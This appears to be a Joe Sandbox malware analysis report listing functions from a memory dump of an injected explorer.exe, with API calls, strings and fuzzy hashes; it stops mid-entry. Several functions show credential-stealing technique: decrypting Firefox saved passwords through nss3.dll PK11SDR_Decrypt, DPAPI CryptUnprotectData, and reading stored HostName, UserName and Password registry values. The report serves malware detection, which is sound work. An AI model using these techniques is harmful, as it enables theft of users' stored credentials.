Instruction ID: f5380d32a6c0e246ebd1bcbaa6f7a0de37c129388d9724cb100742a143392c6f
Opcode Fuzzy Hash: 147afb7946011c17f25a69eb9a07bae338b143939c5a68353ad0cf6888cbd2b5
Instruction Fuzzy Hash: CD014F71214345BFE718CF5ADC8AEBBB7ACFB85655F004A2EF50186250EBA29C058670

Function 007E11E1 Relevance: 4.5, APIs: 3, Instructions: 46encryptionstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,7556F360,00000000,?,00000000,?,007E46E3), ref: 007E11ED
CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 007E120F

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 007E1231

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: BinaryCryptHeapString$AllocateProcesslstrlen
String ID:
API String ID: 117552131-0
Opcode ID: b6ee58036414408076280a7c28f5ccf8b063fcdb354021b41b39676eec5cad1d
Instruction ID: 99511aacf92aa2da95162d609c5532e51c87a77368a2f2cd457641b1202e248b
Opcode Fuzzy Hash: b6ee58036414408076280a7c28f5ccf8b063fcdb354021b41b39676eec5cad1d
Instruction Fuzzy Hash: 32F0967230530E7BE2149E56DC82FA77B9DEF85794F15042EB701D2141EEA2ED0542B4

Function 007E1FCE Relevance: 3.0, APIs: 2, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 007E1FFA
RtlMoveMemory.NTDLL(?,?,?), ref: 007E2015

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CryptDataMemoryMoveUnprotect
String ID:
API String ID: 2807545630-0
Opcode ID: 61fd61b9dc7db88915075d929da1ef35db82467f67e53dde33df0cad9a76b244
Instruction ID: f3d908e7153af50487433017defd8651f93e2a11a1676b0d3d7974ed87d0fd84
Opcode Fuzzy Hash: 61fd61b9dc7db88915075d929da1ef35db82467f67e53dde33df0cad9a76b244
Instruction Fuzzy Hash: 6F017172A01219AB9B14CF9ADC84DAFBBBCEF48350B10046AF905D3241D7749E11CBA0

Function 007E1198 Relevance: 3.0, APIs: 2, Instructions: 38encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,00000001,00000000,?), ref: 007E11B2

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

CryptBinaryToStringA.CRYPT32(?,?,00000001,00000000,?,?,?,00000001,00000000,?), ref: 007E11D2

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: BinaryCryptHeapString$AllocateProcess
String ID:
API String ID: 3825993179-0
Opcode ID: 852028a7c0da561761bfc0e08e5d43b77a6b02d59ba7bf142102d4c366beffff
Instruction ID: aa1e1501741d3d7657127e4298d95e7eedfe64c123f6a25cf267333b4e0d0225
Opcode Fuzzy Hash: 852028a7c0da561761bfc0e08e5d43b77a6b02d59ba7bf142102d4c366beffff
Instruction Fuzzy Hash: 1EF0A732601158B7D724C69BDC8ADEBFB6DDFC97A1B500169F909D3140EA729D4483A0

Function 007E24B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

Part of subcall function 007E1090: lstrlenW.KERNEL32(?,?,00000000,007E17E5), ref: 007E1097
Part of subcall function 007E1090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 007E10A8

Part of subcall function 007E19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,007E2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 007E19C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 007E2503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 007E250A
LoadLibraryW.KERNEL32(00000000), ref: 007E2563
SetCurrentDirectoryW.KERNEL32(?), ref: 007E2570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 007E2591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 007E259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 007E25AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 007E25B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 007E25C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 007E25D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 007E25DF

Part of subcall function 007E190B: lstrlen.KERNEL32(?,?,?,?,00000000,007E2783), ref: 007E192B
Part of subcall function 007E190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,007E2783), ref: 007E1930
Part of subcall function 007E190B: lstrcat.KERNEL32(00000000,?), ref: 007E1946
Part of subcall function 007E190B: lstrcat.KERNEL32(00000000,00000000), ref: 007E194A

Strings

nss3.dll, xrefs: 007E2510
PK11_FreeSlot, xrefs: 007E25D4
PK11_GetInternalKeySlot, xrefs: 007E25AD
PK11SDR_Decrypt, xrefs: 007E25C7
NSS_Init, xrefs: 007E258B
sql:, xrefs: 007E262B
SECITEM_FreeItem, xrefs: 007E25A0
NSS_Shutdown, xrefs: 007E2593
PK11_Authenticate, xrefs: 007E25BA

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 5994b67c4bb16fd0ff6285614d1036cdff2e3d7d189a7dec0d17d1e7bf059b0b
Instruction ID: 69087654ee12d91062c6cd66c37576f10c55a6d3e0d8ae25f222347ef06e8c68
Opcode Fuzzy Hash: 5994b67c4bb16fd0ff6285614d1036cdff2e3d7d189a7dec0d17d1e7bf059b0b
Instruction Fuzzy Hash: 66410935A023C19BCB14AB7A9C5942E3AD9FBCA740740452EE451D3252EF7C8C47CB91

Function 007E5E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 007E5BF5: memset.NTDLL ref: 007E5C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 007E60E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 007E60EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 007E6113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 007E618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 007E61B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 007E61C1

Strings

%lld, xrefs: 007E6122
%06.3f, xrefs: 007E6229
%03d, xrefs: 007E61F3
%04d, xrefs: 007E6016
W, xrefs: 007E6193
%02d, xrefs: 007E6039, 007E61D3
%.16g, xrefs: 007E6077

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 01fba919cff4cdf9135b2372f3a36e083889a0b285ce9c810a5b7435869570db
Instruction ID: 92f771832efec0dc7e8de24064b04a5e714189bc56dfe7771c5765ee950dc7fe
Opcode Fuzzy Hash: 01fba919cff4cdf9135b2372f3a36e083889a0b285ce9c810a5b7435869570db
Instruction Fuzzy Hash: 4DB1B1B29097C69BD7359E2ACC84B3A7FD8FB9C388F140559F582D61D1E62CCD1086D1

Function 007FD2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL(0083637A,BINARY,00000007), ref: 007FD324

Strings

k(%d, xrefs: 007FD2EE
%lld, xrefs: 007FD3CA
vtab:%p, xrefs: 007FD423
BINARY, xrefs: 007FD31E
NULL, xrefs: 007FD40F
%s(%d), xrefs: 007FD3AB
(blob), xrefs: 007FD416
program, xrefs: 007FD46A
,%s%s, xrefs: 007FD34E
(%.20s), xrefs: 007FD38A
,%d, xrefs: 007FD444
%.16g, xrefs: 007FD3E5

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: e19ef8ccb7c3447fb1cd085b29340f80fd869660cda27f0c2f86f29ebd97fc18
Instruction ID: 997c4361bbb85e7d4da26b14d47a5fef362d5279bafb81973c08fc00af045556
Opcode Fuzzy Hash: e19ef8ccb7c3447fb1cd085b29340f80fd869660cda27f0c2f86f29ebd97fc18
Instruction Fuzzy Hash: 7E51BE32608348EBC7219F548845A7A73A6FF89300F144869FBA19B341E779ED09D792

Function 007E48B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 007E19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A1E
Part of subcall function 007E19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A3C
Part of subcall function 007E19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A75
Part of subcall function 007E19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A98

Part of subcall function 007E482C: lstrlenW.KERNEL32(?), ref: 007E4845
Part of subcall function 007E482C: lstrlenW.KERNEL32(?), ref: 007E488F
Part of subcall function 007E482C: lstrlenW.KERNEL32(?), ref: 007E4897

wsprintfW.USER32 ref: 007E49A7
wsprintfW.USER32 ref: 007E49B9

Strings

UserName, xrefs: 007E48D2
RemoteDirectory, xrefs: 007E48F8
HostName, xrefs: 007E48C4
%s:%u, xrefs: 007E4971, 007E49B7
Password, xrefs: 007E48E4
%s:%u/%s, xrefs: 007E4982, 007E49A5

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: e5fc4fdaced438d3b4139c03990c102b95854d55dc5f37009a2f6419c24d36cc
Instruction ID: 444d84c3cdd52159be9741f0bae0309a7bcfbb9f4fe6d74512019a1a371aecc5
Opcode Fuzzy Hash: e5fc4fdaced438d3b4139c03990c102b95854d55dc5f37009a2f6419c24d36cc
Instruction Fuzzy Hash: E331E435706384ABC710AB6BC84682FB6DDEFCD744B05891DB045E7242EABAEC0187E5

Function 007EF92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 007EFB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 007EFB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 007EFB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 007EFB95

Strings

-wal, xrefs: 007EFBA9
-journal, xrefs: 007EFB6B
immutable, xrefs: 007EFC68
nolock, xrefs: 007EFC4E

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 98728550c89753ac395afef021a9c34ec634a756ee3941399acfe4e2a6910216
Instruction ID: 355065e310008be8e0584e6176dec85a6c3d741a78a9a1f61764850076ba9622
Opcode Fuzzy Hash: 98728550c89753ac395afef021a9c34ec634a756ee3941399acfe4e2a6910216
Instruction Fuzzy Hash: 1CD1D4B1609381CFC714DF29C88571ABBE1AF99310F18857DF8998B392DB78D805CB62

Function 007E7820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

-x0, xrefs: 007E7325
%, xrefs: 007E7822
NaN, xrefs: 007E73F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: b56df1c0504a1ce600498c7daf8ea18ebeacd28318b0284e2b011944eeb955a8
Instruction ID: 090e819cee118e8213211a0f263b36f18ffef508ca52d1299fac8cfa3ad96042
Opcode Fuzzy Hash: b56df1c0504a1ce600498c7daf8ea18ebeacd28318b0284e2b011944eeb955a8
Instruction Fuzzy Hash: 04D1037060E3C28BD7298A2A849472ABBE5AFDD344F28485DF9C1C7352D678CD45D782

Function 007E1895 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.COMBASE(?,?), ref: 007E18A7
GlobalLock.KERNEL32(WK~), ref: 007E18B6
GlobalUnlock.KERNEL32(?), ref: 007E18F4

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 007E18E8

Strings

WK~, xrefs: 007E18CA
WK~, xrefs: 007E18B2

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromLockMemoryMoveProcessStreamUnlock
String ID: WK~$WK~
API String ID: 1688112647-3136317167
Opcode ID: 0b9a2ef2bd4dc8bf45cae261a5273972cf16e4b19d1cf98feff1e2559e4e3f1f
Instruction ID: 30368e1003ef5acc53c3f0655f8ff32e5b2ca70b9297db18462690bb168d2ca6
Opcode Fuzzy Hash: 0b9a2ef2bd4dc8bf45cae261a5273972cf16e4b19d1cf98feff1e2559e4e3f1f
Instruction Fuzzy Hash: C4016275205385AF8B015F2A9C5985F7BAAFFC8761B40C82AF555C3211EF35D9249A20

Function 007E78B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

-x0, xrefs: 007E7325
NaN, xrefs: 007E73F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: e620c25e2e8607f619fc3bd50cf56782f530357a537910681891793f75e00133
Instruction ID: baf3aeafa1adf3f044f3581af6bc2d924f7373f57396bb196a1b350c7b27034e
Opcode Fuzzy Hash: e620c25e2e8607f619fc3bd50cf56782f530357a537910681891793f75e00133
Instruction Fuzzy Hash: 79E11430A0E3C28BD7298A2A849472ABBE5AFDD344F28495DF9C1C7352D67CCD45D782

Function 007E7A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

-x0, xrefs: 007E7325
NaN, xrefs: 007E73F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: cb66f691b7754d90f6e40320a872d3de88e0b8d984a67443520a61e75e41d07d
Instruction ID: f50b85d1cf54b9350ad9975dfe6b379f3db3a756d7cf933da1ccdad315f7fe06
Opcode Fuzzy Hash: cb66f691b7754d90f6e40320a872d3de88e0b8d984a67443520a61e75e41d07d
Instruction Fuzzy Hash: CEE1113060E3C28BD729CE2A849472ABBE5AFDD344F28485DF8C187352D678CD45D792

Function 007E7A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

-x0, xrefs: 007E7325
NaN, xrefs: 007E73F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: a4d44f3a2211d5393d3fb948c6aae46b4e8545dbdf58e54aa8b5e065525fc6d3
Instruction ID: 47aa82a55dcb78658a987c9698852fde75b8985f0c58de86b64dc70218f72c79
Opcode Fuzzy Hash: a4d44f3a2211d5393d3fb948c6aae46b4e8545dbdf58e54aa8b5e065525fc6d3
Instruction Fuzzy Hash: 05E1127060E3C28BD7298E2A849472ABBE5BFDD344F28495DF8C1C7252D678CD45D782

Function 007E77F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

-x0, xrefs: 007E7325
NaN, xrefs: 007E73F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: bb962d7287ca01265ee4d87b6b40cc78116efe36017198eb4cd344e126da63f2
Instruction ID: 2f1dfbb34533fb765272ba21173c1e827906723874a8f5a67b8269ae5bd505b1
Opcode Fuzzy Hash: bb962d7287ca01265ee4d87b6b40cc78116efe36017198eb4cd344e126da63f2
Instruction Fuzzy Hash: FCE1F17060E3C28BD7298A2A849472ABBE5AFDD344F28485DF8C1C7352D678C945D782

Function 007E70C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 007E720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 007E7226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 007E727B

Strings

-x0, xrefs: 007E7325
NaN, xrefs: 007E73F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 1f06822b03cadbc5f3f7f507904fe2197126a2183275592866b4ddb934ec365f
Instruction ID: 43e25afaf37fd08ae41797cc2da43b2879fa44db48703bb562e044eece3c3fee
Opcode Fuzzy Hash: 1f06822b03cadbc5f3f7f507904fe2197126a2183275592866b4ddb934ec365f
Instruction Fuzzy Hash: D9D1F27060E3C28BD7298A2A849472ABBE5AFDE344F28485DF9C1C7352D678CD45D782

Function 007E898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 007E8AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 007E8B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 007E8C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 007E8CAE

Strings

., xrefs: 007E8B17

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: 6e98709e3727db8f4372ca23e24531cea67a90927f2b2d322382e68e386096fd
Instruction ID: e47334c5b4027c6c62a90f8da095b755c019f4e9d73615804a62c21ca25873d7
Opcode Fuzzy Hash: 6e98709e3727db8f4372ca23e24531cea67a90927f2b2d322382e68e386096fd
Instruction Fuzzy Hash: EDD108B194E7C58BC750CF4A884023ABBF0BBDD314F1449AEF5CD86291EBB988418797

Function 0080D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0080D6A0
memset.NTDLL ref: 0080D6B3
memset.NTDLL ref: 0080D6C3

Strings

9, xrefs: 0080D701
,, xrefs: 0080D6FC
7, xrefs: 0080D71B

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: 1369fe375484d6eef31c1a0869195b2f3683099c7d9dc55387016d2cd240d6ec
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: 733138715083449FD760DF64D840B8BBBE9FF85344F00892EB989D6291EB71A549CBA3

Function 007E1BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1BCC
StrStrIW.SHLWAPI(00000000,.exe,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1C05
lstrlenW.KERNEL32(00000000,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1C1C

Strings

.exe, xrefs: 007E1BEA

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 12e83a70c410624dedf101e69f43e3eed60cdf3843e3a2b7b067d67cb726b62d
Instruction ID: 36b85077495053259d101f914dce69177ef399a1e9f1ce3962c4f2f660bd0a0a
Opcode Fuzzy Hash: 12e83a70c410624dedf101e69f43e3eed60cdf3843e3a2b7b067d67cb726b62d
Instruction Fuzzy Hash: 1CF0C230356660AAD3246F3A9C56ABF62A4FF49341B60882AE142C31B1FB788C51C769

Function 007F2FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 007F316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 007F31D2
_alldiv.NTDLL(?,?,00000000), ref: 007F32DE
_allmul.NTDLL(00000000,?,00000000), ref: 007F32E7
_allmul.NTDLL(?,00000000,?,?), ref: 007F3392

Part of subcall function 007F16CD: memset.NTDLL ref: 007F172B

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: 5bd8f47413fb50da3004ed988f45264b78027f06c85b0c4314199e7144a397ce
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 31D18671608389CBDB24DF69C480A7ABBE1BF88704F14482DFA9587351DB78DE45CB92

Function 008187FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

old, xrefs: 0081889E
FOREIGN KEY constraint failed, xrefs: 00818AC8
new, xrefs: 008188AA

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: c89b955154fe0ca12eff76692b98bafbd90ad57779b8d0a695fa8b395e0b92eb
Instruction ID: e41f1859abc6165581f56af42f31dcaee066d59730ffcde1d6d1a1e56909537c
Opcode Fuzzy Hash: c89b955154fe0ca12eff76692b98bafbd90ad57779b8d0a695fa8b395e0b92eb
Instruction Fuzzy Hash: 44D119706083009FD758DB298882A6EBBE9FF88754F10492EF945CB291DB74D985CB93

Function 007E96BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 007E96E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 007E9707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 007E9739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 007E976C
_allmul.NTDLL(?,?,?,?), ref: 007E9798

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: a6dd0394438763ae11944f9ac0d0606748056be61fec4de98c03d8e355ab5454
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: 8221017312B6D5AAD7345D2B4CC4B6B3688DBDC790F25012EEB01C2242F95E889880A2

Function 007FB162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 007FB1B3
_alldvrm.NTDLL(?,?,00000000), ref: 007FB20F
_allrem.NTDLL(?,00000000,?,?), ref: 007FB28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 007FB298

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: d84d7f3ede48b5f0c1c824066d57c7847823bf4665173fcdcb1a855c30b471e8
Instruction ID: d35b63ab368974f9d5b4373d36fae0986002d0a910abcb1cb7d552475d38f2f7
Opcode Fuzzy Hash: d84d7f3ede48b5f0c1c824066d57c7847823bf4665173fcdcb1a855c30b471e8
Instruction Fuzzy Hash: E94127B56083499BC718EF29C89592EB7E5BFC8310F04492DFA9597362DB34EC05CB92

Function 007E1953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

